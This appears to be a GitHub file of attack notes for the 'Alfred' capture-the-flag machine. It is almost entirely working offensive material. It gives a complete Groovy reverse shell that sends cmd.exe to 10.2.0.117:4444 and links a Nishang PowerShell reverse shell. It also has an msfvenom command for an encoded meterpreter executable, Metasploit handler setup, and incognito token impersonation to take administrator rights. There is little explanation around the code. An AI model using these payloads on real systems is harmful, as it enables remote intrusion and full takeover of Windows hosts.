-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAlfred
35 lines (24 loc) · 1.32 KB
/
Alfred
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Initial Access
https://github.com/samratashok/nishang
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Reverse Shell for Gro0vy Scrip
Thread.start {
String host="10.2.0.117";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1 // your machine ip
set LPORT 8888
run -j
powershell Start-Process "shell-name.exe"
Privilege Escalation
sessions -i (id)
use incognito
impersonate_token "BUILTIN\Administrators"
ps services
migrate (PID)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx